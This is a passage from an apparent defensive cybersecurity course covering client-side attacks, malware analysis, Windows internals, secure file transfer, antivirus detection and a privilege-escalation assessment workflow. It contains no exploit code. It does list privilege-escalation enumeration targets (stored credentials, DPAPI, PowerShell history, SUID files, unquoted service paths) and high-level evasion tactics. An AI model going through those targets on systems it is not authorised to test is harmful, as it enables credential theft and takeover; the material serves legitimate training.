- ✔ Regular security code reviews
Module 16 – Client-Side Attacks (Ultra-Detailed & Safe)
Client-side attacks target the user’s browser, local system, or interaction layer rather than the backend server. These attacks exploit weaknesses in browser behavior, plugins, scripts, input processing, and user trust. This module explains the conceptual, safe, and ethical understanding of how client-side risks work during authorized penetration testing.
This module teaches security concepts only. No payloads, malicious scripts, or exploit instructions are included. All testing must be conducted only with written authorization.
16.1 What Are Client-Side Attacks?
Client-side attacks occur when malicious data or behavior is processed on the user’s device, within their browser, or through interactive content.
🎯 Why Client-Side Attacks Matter
- ✔ Browsers handle sensitive data (cookies, tokens, credentials)
- ✔ Users often trust website content blindly
- ✔ Applications rely heavily on JavaScript (increasing attack surfaces)
- ✔ Third-party scripts can behave unpredictably
- ✔ Misconfigurations lead to data leaks
A web browser is like a mailbox. If you don’t inspect the mail carefully, a harmful letter could cause trouble.
16.2 Browser Architecture & Attack Surfaces
Modern browsers (Chrome, Firefox, Edge, Safari) include complex engines and multiple layers. Each layer introduces potential attack surfaces.
🧩 Browser Components
| Component | Description | Client-Side Risk |
|---|---|---|
| JavaScript Engine | Executes client-side scripts | Script injection issues |
| DOM Parser | Builds & manipulates page structure | DOM-based vulnerabilities |
| Rendering Engine | Draws HTML/CSS content | CSS injection/desync issues |
| Network Layer | Handles requests/responses | Mixed content, insecure redirects |
| Extensions & Plugins | Enhance browser functionality | Excessive permissions |
16.3 Social Engineering (Client-Side Triggering)
Client-side attacks often start with social engineering — attackers rely on user action rather than system vulnerabilities.
🚨 Common Social Engineering Techniques (Safe Explanation)
- 🎭 Fake login pages (phishing)
- 📩 Malicious email attachments (unsafe files)
- 🔗 Suspicious links disguised as legitimate sources
- 🧩 Fake browser updates requests
- 💬 Social media impersonation
16.4 Clickjacking (UI Redressing)
Clickjacking occurs when a user clicks something they did not intend to click because the UI has been manipulated visually.
🎨 How Clickjacking Works (Safe Explanation)
- ✔ Transparent layers overlay real buttons
- ✔ Users interact with hidden content accidentally
- ✔ Often combined with iframes & CSS tricks
🛡️ Defenses Against Clickjacking
- ✔ Use X-Frame-Options header
- ✔ Implement frame-busting scripts
- ✔ Content Security Policy frame-ancestors
16.5 DOM-Based Vulnerabilities
DOM-based vulnerabilities occur entirely on the client side, within the browser, without involving server responses.
📌 Common DOM Attack Surfaces
| Vector | Description | Example Impact (Safe) |
|---|---|---|
| document.location | URL-based dynamic content | Unintended content injection |
| innerHTML | Injects dynamic HTML | DOM manipulation risks |
| eval() | Executes strings as code | Unsafe script execution |
| postMessage() | Cross-window messaging | Data exposure |
🛡️ DOM Security Best Practices
- ✔ Avoid innerHTML when possible
- ✔ Never trust URL parameters
- ✔ Validate data before DOM insertion
- ✔ Avoid dangerous functions like eval()
16.6 Malicious File Types & Client-Side Threats
Some client-side attacks rely on tricking users into opening unsafe files. These files exploit vulnerabilities in local programs or misconfigurations.
📁 Risky File Categories (Safe Explanation)
- 📄 Macro-enabled office files
- 📦 Archived files with misleading extensions
- 🖼️ Image files with malformed metadata
- 📝 Script-based files like JS/VBS (unsafe)
- 📃 PDFs with embedded actions
16.7 Browser Storage Vulnerabilities
Modern browsers store data locally for performance and convenience. If not handled securely, this data becomes an attack surface.
🗂️ Storage Types
- ✔ Cookies
- ✔ LocalStorage
- ✔ SessionStorage
- ✔ IndexedDB
- ✔ Cache Storage
🚨 Risks
- ❗ Storing sensitive data without encryption
- ❗ Overexposed browser APIs
- ❗ Unrestricted JavaScript access
16.8 Client-Side Attack Prevention (Best Practices)
Strong client-side defenses help protect users even if attackers attempt to manipulate content, scripts, or interactions.
🛡️ Core Security Controls
- ✔ Content Security Policy (CSP)
- ✔ Strict cookie flags (HttpOnly, Secure, SameSite)
- ✔ Avoid inline scripts
- ✔ Input sanitization & output encoding
- ✔ Sandbox iframes
- ✔ Limit dangerous JS APIs
- ✔ Enforce HTTPS everywhere
Module 17 – Introduction to Malware Analysis (Ultra-Detailed & Safe)
Malware analysis is the scientific study of malicious software to understand
its behavior, purpose, origin, and indicators of compromise (IOCs).
It is used by defenders, SOC teams, threat hunters, and cybersecurity analysts to protect systems.
This module provides a safe, non-exploit, deeply conceptual explanation of malware analysis techniques,
environments, classifications, and defensive strategies.
This module teaches defensive and analytical concepts only. No malware code, no reverse engineering instructions, and no harmful techniques are included. All content is purely educational and allowed in professional training environments.
17.1 What Is Malware Analysis?
Malware analysis is the process of examining malicious programs to understand:
- ✔ How the malware behaves
- ✔ What system changes it attempts
- ✔ What data it targets
- ✔ How it communicates (network behavior)
- ✔ How to detect, block, or remove it
Malware analysis is like studying a harmful plant in a controlled lab to understand how it spreads and how to stop it — without letting it escape.
🎯 Primary Goals
- ✔ Identify Indicators of Compromise (IOCs)
- ✔ Understand malware capabilities
- ✔ Assist incident response & threat hunting
- ✔ Help strengthen security controls
17.2 Types of Malware (Safe Classification)
Malware comes in many forms, each designed for different malicious intentions. Below is a safe, classification-only overview.
| Type | Description (Safe) | Typical Behavior Summary |
|---|---|---|
| Virus | Attaches to legitimate files | Replicates when files run |
| Worm | Self-propagates without user action | Network spreading |
| Trojan | Disguised as legitimate software | Backdoors or data theft |
| Ransomware | Encrypts files for payment | Data unavailability |
| Spyware | Collects user or system info | Keylogging, monitoring |
| Rootkits | Hides malicious processes | Persistence, stealth |
| Adware | Displays unwanted ads | Tracking user behavior |
17.3 Malware Analysis Phases
Malware analysis is conducted in stages to ensure safety and maximize understanding.
🧪 4 Major Phases (Safe Overview)
-
Static Analysis (High-Level Review)
Examining malware without running it. -
Dynamic Analysis (Behavior Observation)
Running malware in a controlled isolated environment. -
Memory & Artifact Analysis
Checking logs, registry changes, file system artifacts. -
Reporting & IOC Extraction
Sharing IOCs, patterns, and defensive insights.
17.4 Safe Static Analysis Concepts
Static analysis involves reviewing a file without executing it — the safest first step.
🔍 What Analysts Look For
- ✔ File type & metadata
- ✔ Suspicious strings
- ✔ File size & structure anomalies
- ✔ Embedded resources
- ✔ Import/export functions
17.5 Safe Dynamic Analysis Concepts
Dynamic analysis observes malware behavior inside a secure sandbox or virtual machine.
⚠️ Safe Behavior Indicators (Conceptual)
- ✔ File creation or deletion
- ✔ Registry or configuration changes
- ✔ Attempts to communicate over a network
- ✔ Process spawning
- ✔ Persistence attempts
🛡️ Safe Dynamic Environments
- ✔ Isolated virtual machines (VMware/VirtualBox)
- ✔ Sandboxing tools
- ✔ Network simulation environments
- ✔ Snapshot & revert ability
17.6 Indicators of Compromise (IOCs)
IOCs help defenders detect, block, and respond to malware attacks. Malware analysis focuses heavily on extracting these indicators safely.
| IOC Type | Description | Examples (Safe) |
|---|---|---|
| File Hashes | Unique fingerprint of malware | SHA-256 hash values |
| Network Indicators | Malware communication endpoints | Suspicious domains/IPs |
| Registry Keys | Persistence locations | Startup entries |
| File Paths | Locations malware interacts with | Temporary file locations |
| Process Behavior | Unusual running processes | Unexpected resource spikes |
17.7 Malware Evasion Techniques (Safe, High-Level)
Modern malware uses evasion to avoid detection. Analysts study these tactics to build stronger defenses.
- ✔ Obfuscation (hiding intentions)
- ✔ Packing (compressing or encrypting code)
- ✔ Environment checks (detecting VMs or sandboxes)
- ✔ Delayed execution
- ✔ Fileless techniques
17.8 Defensive Malware Analysis Tools (Conceptual Only)
Malware analysts rely on safe, industry-approved tools to analyze suspicious files without exposing real systems to risk.
🛡️ Categories of Safe Tools
- ✔ Static analysis utilities (metadata inspection)
- ✔ Sandboxing platforms
- ✔ Memory forensic tools
- ✔ Network traffic analyzers
- ✔ Threat intelligence platforms
Module 18 – Windows Internals for Pentesters (Ultra Detailed & Safe)
Understanding Windows internals is essential for authorized penetration testers, security analysts, and incident responders. This module explains how Windows works under the hood — processes, services, memory structure, registry, authentication flow, logs, and system components — without teaching exploitation or bypasses. Knowledge is used strictly for defensive analysis, monitoring, and detection.
This module covers architecture, design concepts, and OS behavior only. No exploit steps, no bypass instructions, and no offensive actions are included. 100% safe for cybersecurity learning.
18.1 Windows Architecture Overview
Windows is a hybrid operating system with multiple layers that interact to manage hardware, processes, security, and memory. Understanding these layers helps analysts interpret logs, investigate incidents, and monitor programs.
🧩 Core Windows Architecture Layers
| Layer | Description | Components |
|---|---|---|
| User Mode | Where regular applications run; limited privileges | Explorer.exe, browsers, Office apps |
| Kernel Mode | Full access to hardware and system memory | Drivers, kernel, hardware abstraction layer |
| HAL (Hardware Abstraction Layer) | Simplifies hardware communication | Abstracts CPU, motherboard, interrupts |
| NT Kernel | Core OS engine | Thread scheduler, memory manager, security monitor |
18.2 Windows Processes, Threads & Services
Windows uses a structured approach to manage applications and background tasks. Understanding processes helps in detecting anomalies during security assessments.
🧠 Process Structure
- ✔ A process is a running instance of a program
- ✔ Contains memory, handles, threads, permissions
- ✔ Each process has a unique PID (Process ID)
- ✔ Child processes inherit some attributes from parents
📌 Windows Services
Services are background processes managed by the Service Control Manager (SCM).
- ✔ Can run as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE
- ✔ Start automatically, manually, or by trigger
- ✔ Configurations stored in the Registry
18.3 Windows Memory Architecture
Windows memory is divided into regions with different protection levels. Pentesters and defenders study this structure to understand legitimate behavior and analyze suspicious activity.
📦 Memory Regions
| Region | Description | Contents |
|---|---|---|
| Stack | Stores function calls, local variables | Structured, LIFO memory |
| Heap | Dynamic memory allocation | malloc/new allocated objects |
| Executable Memory | Read-only program code | .text section |
| PE Sections | Windows binary layout | .text, .data, .rdata, .rsrc |
18.4 Windows Registry – Structure & Importance
The Windows Registry is a hierarchical database storing system settings, service configurations, hardware details, and user preferences.
📂 Major Registry Hives
- HKLM – System-wide settings
- HKCU – Per-user configurations
- HKCR – File associations, COM objects
- HKU – Loaded user profiles
- HKCC – Hardware profile
18.5 Windows Authentication & Security Components
Understanding how Windows authenticates users helps analysts evaluate system security without performing any attacks.
🔐 Authentication Components
| Component | Purpose |
|---|---|
| LSA (Local Security Authority) | Manages authentication & security policies |
| SAM Database | Stores local user account details |
| Kerberos | Default domain authentication protocol |
| NTLM | Fallback authentication protocol |
| Credential Manager | Stores saved logins |
18.6 Windows Logging & Event Monitoring
Windows logs are the backbone of threat detection and incident response. Pentesters use them to validate proper visibility in authorized tests.
📘 Important Log Categories
- ✔ Security (Authentication, permissions)
- ✔ System (Drivers, hardware issues)
- ✔ Application (Errors from installed apps)
- ✔ PowerShell logs
- ✔ Sysmon logs (advanced monitoring)
18.7 Windows File System & Permissions
Understanding NTFS structure and permissions helps defenders identify misconfigurations.
📁 Key Windows File System Concepts
- ✔ NTFS: Supports encryption, compression, ACLs
- ✔ Access Tokens define user rights
- ✔ SIDs (Security Identifiers) uniquely identify users/groups
- ✔ ACE (Access Control Entries) define permissions
Module 19 – File Transfers (Ultra-Level Detailed & Safe)
File transfers are central to system administration, application delivery, backups, and collaboration. This module provides an ultra-detailed, defensive study of file transfer protocols, secure configurations, logging, forensic artifacts, automation, and risk management.
This module is purely educational and focused on secure usage, detection, and defensive controls. No offensive or destructive instructions are provided.
19.1 Overview: Why File Transfers Matter
File transfer capabilities are used everywhere — software updates, backups, log shipping, content delivery, and user uploads. Misconfigured or insecure file transfer processes introduce data leakage, malware delivery, and compliance risks.
🎯 Primary Goals of This Module
- ✔ Understand common file transfer protocols & how they differ
- ✔ Learn secure configuration patterns
- ✔ See forensic artifacts & logging points
- ✔ Build detection rules and hardening checklists
- ✔ Automate secure file movement
19.2 Common File Transfer Protocols — Comparison & Use Cases
Below is a high-level comparison of common transport mechanisms — focus on their intended uses and security properties.
| Protocol | Transport | Auth | Encryption | Common Use Cases |
|---|---|---|---|---|
| FTP | TCP 20/21 (control/data) | Username/Password (cleartext) | None (unless FTPS) | Legacy file servers, public anonymous shares (legacy) |
| FTPS (FTP over TLS) | TCP (explicit/implicit TLS) | Username/Password (TLS session) | TLS | Legacy FTP with encryption requirement |
| SFTP (SSH File Transfer) | TCP 22 (over SSH) | SSH keys / passwords | SSH (encrypted) | Secure ad-hoc transfers, automation, backups |
| SCP | TCP 22 | SSH keys / passwords | SSH | Simple secure copy via SSH (scripted) |
| HTTP / HTTPS | TCP 80 / 443 | Basic, token, OAuth | TLS for HTTPS | Web uploads, APIs, CDNs, resumable uploads |
| WebDAV (over HTTP/S) | 80 / 443 | Basic / Digest / OAuth | TLS (HTTPS) | Remote file editing, collaboration shares |
| SMB / CIFS | TCP 445 | Windows auth (Kerberos/NTLM) | SMB encryption optional (modern Windows) | File shares, Windows domain file access |
| NFS | TCP/UDP 2049 | Host-based / Kerberos (NFSv4) | Optional (sec=krb5p) | Unix/Linux file shares, cluster storage |
| rsync (over SSH) | TCP 22 (or rsyncd) | SSH keys / rsyncd config | SSH (encrypted) | Efficient synchronization, backups |
19.3 Risks & Threat Models for File Transfers
Map threats to file transfer channels to prioritize mitigations.
🔍 Threat Model Elements
- ✔ Eavesdropping (cleartext credentials or payloads)
- ✔ Credential theft (reused passwords, keys leaked)
- ✔ Malware delivery via uploads
- ✔ Unauthorized access to sensitive files
- ✔ Data exfiltration via allowed transfer channels
- ✔ Insecure temporary file handling leading to leakage
📌 Risk Prioritization Tips
- ✔ Protect credentials & keys first
- ✔ Encrypt data in transit and at rest
- ✔ Monitor transfer channels for abnormal volumes
- ✔ Harden endpoints that accept uploads
19.4 Secure Configuration Best Practices
Practical, defensive hardening patterns for file transfer services and clients.
🔐 Server-Side Hardening Checklist
- ✔ Disable insecure protocols (FTP, TLS 1.0/1.1) unless absolutely necessary
- ✔ Enforce strong ciphers and TLS 1.2/1.3 for FTPS/HTTPS
- ✔ Require key-based auth for SFTP (disable password auth if possible)
- ✔ Limit accounts to least privilege and chroot/SFTP-jail users
- ✔ Enable logging & centralize logs (syslog/ELK/SIEM)
- ✔ Use IP allowlists or VPN for administrative access
- ✔ Implement rate limiting & connection throttling
- ✔ Enforce strong password policies and rotate keys
- ✔ Patch transfer servers and libraries promptly
- ✔ Use storage-level encryption for sensitive files at rest
🔒 Client-Side Hardening Checklist
- ✔ Use validated client software (avoid outdated GUI clients)
- ✔ Store SSH keys securely (use OS key stores or hardware tokens)
- ✔ Avoid embedding credentials in scripts (use vaults or agent-based auth)
- ✔ Validate server fingerprints before trusting new endpoints
- ✔ Run transfers from hardened hosts with monitoring agents
19.5 Authentication & Key Management
Secure authentication and disciplined key/certificate management are foundations of safe file transfers.
🔑 Authentication Options & Recommendations
- ✔ Prefer SSH keys (with passphrases) for SFTP/SCP
- ✔ Use certificate-based TLS for FTPS/HTTPS
- ✔ Use centralized identity (AD/LDAP) for SMB/WebDAV auth
- ✔ Implement multi-factor authentication for web consoles
🛡️ Key Management Best Practices
- ✔ Rotate keys on a schedule
- ✔ Use hardware-backed keys (HSMs / YubiKeys) for critical systems
- ✔ Store credentials in a secrets manager (Vault, AWS Secrets Manager)
- ✔ Audit and remove unused keys & service accounts
19.6 Logging, Monitoring & Forensic Artefacts
Knowing where to look for traces of file transfers is essential for incident detection and post-incident analysis.
📍 Key Logging Points by Protocol
| Protocol | Primary Logs / Artefacts | Useful For |
|---|---|---|
| SFTP / SSH | /var/log/auth.log, /var/log/secure, sshd logs, auditd | Successful logins, key usage, connection times, commands (if shell access) |
| FTPS / FTP | FTP server logs (vsftpd, proftpd), TLS handshake logs | Transfer sessions, client IPs, uploaded filenames |
| HTTPS / Web Upload | Web server logs (access.log), application logs, WAF logs | URLs, POST sizes, auth tokens, client IP |
| SMB | Windows Event Logs (Security, SMB audit), SMB server logs | File create/open/rename/delete, ACL changes, authentication |
| rsync | rsyncd logs, syslog, SSH logs | Synced files list, transfer sizes, client host |
🔎 Forensic Artefacts on Endpoints
- ✔ Temporary files and upload directories
- ✔ Browser cache and form history (web uploads)
- ✔ SSH known_hosts and known key files
- ✔ Application-level logs (upload endpoints)
- ✔ Windows Prefetch / RecentFiles for GUI transfers
19.7 Detection Use-Cases & Example SIEM Rules
Example detection ideas you can implement in a SIEM or IDS to monitor for suspicious file transfer activity.
📌 Example Detection Rules
- Large outbound transfer: Trigger when a single user uploads > X GB outside business hours.
- New SFTP key usage: Alert when a previously unused SSH key is used to connect to production SFTP.
- Unusual destination IP: Flag transfers to IPs not in allowlist or to cloud storage endpoints not used by org.
- Multiple file deletes after transfer: Detect sequences of create → transfer → delete to spot exfiltration cleanup.
- Failed auth pattern: Repeated failed logins followed by a successful transfer (possible credential stuffing).
19.8 Malware & Abuse via File Transfers — Defensive Controls
Attackers can use file transfer channels to deliver malware or stage exfiltration. Defensive controls help reduce this risk.
🛡️ Key Controls
- ✔ Antivirus / EDR scanning of uploads (inbound & stored files)
- ✔ Sandboxing suspicious uploads before making them available
- ✔ Enforce file type whitelists & block double extensions
- ✔ Strip metadata and macros from uploaded documents
- ✔ Quarantine unknown file types for manual review
- ✔ Use DLP to prevent sensitive data uploads to unapproved destinations
19.9 Automation & Secure Transfer Patterns
Automating file transfers (backups, CI/CD artifacts, logs) improves reliability — but must be done securely.
🔧 Secure Automation Patterns
- ✔ Use SSH agent forwarding with limited lifetime keys or ephemeral credentials
- ✔ Use signed artifacts and verify signatures on download
- ✔ Store credentials in a secrets manager and fetch at runtime (no plaintext in scripts)
- ✔ Maintain immutable build artifacts and retention policies
- ✔ Implement idempotent transfers and checksums (verify integrity)
- ✔ Use logging hooks in automation (audit all actions)
19.10 Data Classification, Retention & Compliance
File transfer policies must adhere to data classification and legal/regulatory requirements.
📚 Policy Considerations
- ✔ Define what data is allowed to be transferred externally
- ✔ Apply stronger protections for PII, PHI, financial data
- ✔ Maintain audit trails for transfers of regulated data
- ✔ Enforce retention & secure deletion policies
- ✔ Use contractual controls for third-party transfer endpoints
19.11 Labs, Exercises & Safe Hands-On Practice
Suggested safe exercises to understand file transfer configuration and detection (do these only in lab environments).
- Setup an SFTP server in a VM; configure key-only auth and chrooted user; observe logs from client connections.
- Configure an HTTPS upload endpoint behind a WAF; test large file uploads and analyze application logs.
- Create an rsync backup job with checksums; simulate interrupted transfers and verify integrity on resume.
- Ship logs to a SIEM; create detection rules for unusual outbound upload volume and test tuning.
- Implement file scanning pipeline: upload → quarantine → sandbox → release/deny decision.
19.12 Summary & Practical Checklist
Quick reference checklist for secure file transfer operations.
- ✔ Use encrypted transport (SFTP/HTTPS/SMB3)
- ✔ Prefer key-based or certificate-based auth
- ✔ Harden servers: patch, limit accounts, chroot/jails
- ✔ Centralize logging; build detections for abnormal transfers
- ✔ Scan and sandbox uploaded content before release
- ✔ Store credentials in secrets manager; rotate keys
- ✔ Apply data classification & compliance checks on transfers
- ✔ Automate securely (signed artifacts, ephemeral creds)
- ✔ Periodically audit and review transfer accounts & automation jobs
Module 20 – Antivirus Evasion (Ultra-Level Detailed & Safe)
This module explains how modern antivirus (AV), EDR, and security solutions detect threats.
It focuses on internal mechanisms, scanning engines, heuristics, behavioral analysis, telemetry, and defense strategies.
This knowledge is essential for pentesters, blue teamers, malware analysts, and cybersecurity students
to understand why certain files are flagged, how false positives occur,
and how organizations can strengthen protection.
⚠️ This module does NOT provide evasion, bypass, or offensive instructions.
The content is strictly defensive and educational.
No AV bypass techniques, no exploit instructions, and no harmful methods are included.
20.1 How Antivirus Works — The Big Picture
Antivirus systems evolved from simple signature scanners to complex, AI-powered, behaviorally aware endpoint protection platforms. Understanding this evolution helps identify how modern systems prevent malicious execution.
🧭 The Five Pillars of AV Detection
- ✔ Signature Matching – Identifies known malicious patterns
- ✔ Heuristic Analysis – Detects suspicious code structures
- ✔ Behavioral Monitoring – Observes runtime actions
- ✔ Machine-Learning Classification – Predictive detection
- ✔ Cloud-Assisted Intelligence – Reputation & telemetry
20.2 Signature-Based Detection (How Signatures Are Created)
Signatures are the oldest and simplest form of detection. They rely on matching patterns in files, memory, or behavior.
🔍 Types of Signatures
- Hash Signatures: Exact file fingerprints (MD5, SHA-256)
- Binary Pattern Signatures: Byte sequences found in known malware
- Heuristic Signatures: Rules detecting suspicious structures
- YARA-Style Signatures: Metadata + strings + logic rules
📦 How Vendors Generate Signatures
- Collect malware samples from malware exchanges
- Reverse-engineer or analyze behavior
- Extract unique artifacts (strings, structure)
- Convert artifacts to detection rules
- Test signatures to prevent false positives
20.3 Behavioral Analysis Concepts
Behavioral detection focuses on what a file does, not what it looks like. This protects systems from polymorphic malware, packed binaries, and heavily obfuscated threats.
🎯 Key Behavioral Indicators
- ✔ Sudden file encryption, renames, or mass deletes
- ✔ Unusual registry edits or persistence actions
- ✔ Network connections to suspicious domains
- ✔ Code injection into other processes
- ✔ Untrusted macros executing scripts
🧠 Behavioral Engines Use:
- ✔ Sandboxing environments
- ✔ System call interception
- ✔ API monitoring
- ✔ Memory write tracking
- ✔ Kernel callbacks
20.4 EDR & Modern Detection (Safe, Defensive Focus Only)
Endpoint Detection & Response (EDR) platforms extend AV with deep visibility, telemetry, and forensic data. This section explains EDR architecture and capabilities for defenders.
🔎 What EDR Monitors
- ✔ File events (create, modify, delete)
- ✔ Process trees & parent/child anomalies
- ✔ Command-line arguments
- ✔ Registry writes & persistence
- ✔ Network connections
- ✔ Memory activity (injection attempts)
📡 EDR Architecture
| Component | Purpose |
|---|---|
| Endpoint Sensor | Collects local telemetry (file, network, process) |
| Cloud Analysis Engine | Correlates events across many endpoints |
| Threat Intelligence Feed | Provides IOCs & global malware metadata |
| Analyst Console | Used for hunting, triage, and investigation |
20.5 Why Evasion Techniques Matter (Defensive Study Only)
Studying evasion attempts is essential for strengthening defensive strategies. Understanding attacker methodology allows blue teams to detect stealthy patterns.
🎯 Why Defenders Study Evasion Attempts
- ✔ Improve detection logic
- ✔ Identify gaps in visibility
- ✔ Spot suspicious behavioral anomalies
- ✔ Strengthen policies around execution control
- ✔ Understand common false-negative scenarios
🛡️ Defensive Countermeasures
- ✔ Enforce application allow-listing
- ✔ Enable memory scanning features
- ✔ Hard-block unsigned binaries in high-security zones
- ✔ Use behavioral & machine-learning detections
- ✔ Integrate EDR with SIEM for correlated detections
Module 21 – Privilege Escalation
Privilege escalation refers to the process of gaining higher-level permissions
on a system beyond what was originally granted.
In authorized penetration testing and security auditing, privilege escalation is used to
verify security controls, identify misconfigurations, and ensure proper hardening.
⚠️ This module teaches only concepts, misconfigurations, defensive techniques, and detection insights.
No attack steps, exploitation methods, or actionable misuse instructions are included.
This module is strictly educational and defensive. It explains root causes, OS behavior, detection methods, and hardening practices — never exploitation details.
21.1 What is Privilege Escalation?
Privilege Escalation is a situation where a user, program, or process gets more permissions than it was originally allowed. These extra permissions allow actions that should normally be restricted.
In a secure system, users are given only the access they need. Privilege escalation breaks this rule and creates security risks.
🎯 Core Objectives of Studying Privilege Escalation
- ✔ Find weak file, folder, or system permissions
- ✔ Detect OS and application misconfigurations
- ✔ Check whether least-privilege rules are followed
- ✔ Measure damage if a low-level account is compromised
🧩 Why Privilege Escalation Matters
- ✔ Attackers usually start with limited access
- ✔ Full system control requires higher privileges
- ✔ Most serious breaches involve admin/root access
- ✔ Weak escalation controls show poor security hygiene
- ✔ Resetting passwords
- ✔ Bypassing access controls to compromise protected data
- ✔ Editing software configurations
- ✔ Enabling persistence
- ✔ Changing the privilege of existing (or new) users
- ✔ Execute any administrative command
⚙️ Simple Example
Imagine an office:
- 👤 Normal user = regular employee
- 🧑💼 Admin / Root = manager
Privilege escalation is when a regular employee suddenly gets manager-level authority without permission.
21.2 Vertical vs Horizontal Escalation
Privilege escalation is mainly divided into Vertical and Horizontal types. Both are dangerous but affect systems differently.
| Type | What Happens | Simple Example |
|---|---|---|
| 🔼 Vertical Escalation | User gains higher authority | Normal user → Administrator |
| ➡️ Horizontal Escalation | User accesses another user’s data | User A reads User B’s files |
🔼 Vertical Privilege Escalation
Vertical escalation occurs when a user moves up the permission ladder. This gives control over the entire system.
- ✔ Modify system settings
- ✔ Create or delete users
- ✔ Access sensitive system files
- ✔ Disable security tools
➡️ Horizontal Privilege Escalation
Horizontal escalation happens when users stay at the same privilege level but access other users’ data.
- ✔ Viewing another user’s personal data
- ✔ Editing someone else’s account
- ✔ Accessing unauthorized records
✔ Horizontal escalation leads to data leakage
Both are serious security issues.
21.3 Local vs Domain Privilege Escalation
Privilege escalation can occur at different levels within an organization. Understanding the difference between Local and Domain privilege escalation is critical for both security testing and defensive strategy planning.
💡 Domain escalation affects the entire enterprise network.
🖥️ Local Privilege Escalation
Local privilege escalation occurs when a user gains higher privileges on a single system.
- ✔ Standard user → Administrator (Windows)
- ✔ Normal user → Root (Linux)
- ✔ Service account → SYSTEM-level permissions
📌 Characteristics of Local Escalation
- ✔ Limited to one machine
- ✔ Often caused by misconfigurations
- ✔ Can lead to persistence on that system
- ✔ May enable credential harvesting
🌐 Domain Privilege Escalation
Domain privilege escalation occurs within centralized authentication environments such as enterprise directory services. It involves gaining elevated privileges across multiple systems.
- ✔ Domain User → Domain Admin
- ✔ Compromise of Group Policy control
- ✔ Access to Domain Controller systems
📌 Why Domain Escalation is Dangerous
- ✔ Full network takeover risk
- ✔ Control of authentication systems
- ✔ Access to sensitive enterprise data
- ✔ Ability to push policies to all machines
📊 Comparison Table
| Factor | Local Escalation | Domain Escalation |
|---|---|---|
| Scope | Single machine | Entire network |
| Impact | System-level compromise | Enterprise-level compromise |
| Complexity | Moderate | High |
21.4 Common PrivEsc Methodology (Step-by-Step Workflow)
A privilege escalation methodology is a structured, repeatable process used by security professionals to systematically identify weaknesses in system permissions, configurations, and security controls. This is NOT an exploitation guide — it is a defensive assessment workflow.
📋 Phase 1: Pre-Enumeration & Situational Awareness
Before any detailed checking, understand the environment you are assessing. This phase answers: "What are we looking at?"
- ✓ Operating system name and version
- ✓ Kernel version and build
- ✓ Hostname and domain membership
- ✓ Architecture (x86, x64, ARM)
- ✓ Uptime and last patch date
- ✓ Current username
- ✓ Group memberships
- ✓ Privilege level
- ✓ Authentication method
- ✓ Session type (local/RDP/SSH)
🔎 Phase 2: Systematic Enumeration (The 80% Rule)
Enumeration is the most critical phase. Experienced assessors know that 80% of privilege escalation opportunities are found through thorough enumeration, not complex exploitation.
🐧 Linux Enumeration Categories
System Information
Kernel, distribution, architecture, environment variables
User & Group
Current user, other users, groups, login history, sudoers
File System
Writable directories, SUID/SGID, world-writable files, backups
Processes & Services
Running processes, cron jobs, network services
Network
Interfaces, open ports, routing tables, DNS configuration
Applications
Installed software, versions, running web applications
🪟 Windows Enumeration Categories
System Information
OS version, hotfixes, computer name, architecture
User & Group
Current user privileges, local users, domain groups
File System
Writable directories, weak permissions, unattended files
Services
Running services, service permissions, unquoted paths
Registry
Autoruns, AlwaysInstallElevated, weak ACLs
Credentials
Stored credentials, vault, DPAPI, PowerShell history
📊 Phase 3: Analysis & Prioritization
After enumeration, findings must be analyzed and prioritized. Not every misconfiguration represents a realistic risk.
🎯 Risk Assessment Criteria
| Priority | Criteria | Example | Action |
|---|---|---|---|
| Critical | Immediate privileged access, no user interaction required | World-writable system service binary | Fix within 24 hours |
| High | Privileged access possible, some conditions required | Unquoted service path with write access | Fix within 1 week |
| Medium | Privilege escalation possible but requires specific conditions | Sudo command with limited parameters | Fix within 1 month |
| Low | Theoretical risk, multiple conditions required | Outdated kernel with no known exploit | Schedule for next maintenance |
🛡️ Phase 4: Validation & Non-Exploitative Verification
Before reporting a finding, professional assessors verify it is legitimate. This is done through non-destructive verification, not exploitation.
Use built-in tools to confirm file, folder, and registry permissions:
- Linux:
ls -la,getfacl - Windows:
icacls,Get-Acl
Examine configuration files and settings:
- Linux:
sudo -l,/etc/crontab - Windows:
sc qc,reg query
Record exact path, permissions, and impact without triggering changes.
- Screenshots of permissions
- Configuration excerpts
- Risk rationale
- Writing files to protected directories
- Modifying service configurations
- Attempting to execute code with elevated privileges
- Crashing or destabilizing services
📝 Phase 5: Reporting & Remediation
The final phase transforms technical findings into actionable intelligence for system owners and administrators.
1. Executive Summary
One-paragraph overview for management
2. Technical Details
System affected, exact location, permissions observed
3. Risk Assessment
Likelihood, impact, overall severity
4. Remediation Steps
Clear, actionable fix instructions
5. References
CWE, CVE, vendor documentation
6. Evidence
Screenshots, command output (sanitized)
🔄 Complete Privilege Escalation Assessment Workflow
Pre-Enum
System ID, User ContextEnumerate
Systematic data collectionAnalyze
Prioritize findingsVerify
Non-exploit validationReport
Document & communicateRemediate
Fix & verify⚠️ Common Methodology Mistakes (Defensive View)
Only running automated tools, skipping manual verification.
Fix: Always verify automated findings manually.
Assuming a finding is valid without proper verification.
Fix: Challenge every finding with "How do I know this is really a risk?"
Reporting technical findings without business impact.
Fix: Always explain WHY a finding matters to the organization.
Identifying problems without providing solutions.
Fix: Every finding must include clear, actionable remediation steps.
✅ Defensive Privilege Escalation Assessment Summary
A proper methodology is:
- Systematic — Follows a repeatable process
- Thorough — Covers all relevant categories
- Verifiable — Findings are confirmed through legitimate means
- Actionable — Provides clear remediation guidance
- Ethical — Never crosses into exploitation or damage
21.5 Automated Enumeration Tools (LinPEAS, LinEnum, LES, etc.)
Automated enumeration tools are used during the privilege escalation phase to quickly identify potential misconfigurations, weak permissions, and system-level vulnerabilities. These tools are designed to save time, not to replace manual analysis.
In real-world penetration tests, automated tools are typically executed after initial access to help highlight possible privilege escalation vectors that might otherwise be overlooked.
📌 Why Automated Enumeration Tools Matter
Modern Linux systems contain thousands of files, configurations, and permissions. Manually checking every possible privilege escalation path is time-consuming and error-prone.
Automated enumeration tools assist by:
- Scanning system configurations quickly
- Highlighting dangerous permissions
- Identifying kernel and software vulnerabilities
- Providing structured output for analysis
📌 Environmental Limitations
The effectiveness of an enumeration tool depends heavily on the target system’s environment. Not all systems will support every tool.
- Python-based tools require Python to be installed
- Bash scripts are more portable but less detailed
- Restricted shells may block script execution
- Endpoint security may flag enumeration scripts
Because of these limitations, professional testers avoid relying on a single tool and instead become familiar with multiple options.
📌 Popular Linux Enumeration Tools
1. LinPEAS
LinPEAS is one of the most comprehensive Linux privilege escalation enumeration tools available. It is part of the PEASS-ng project.
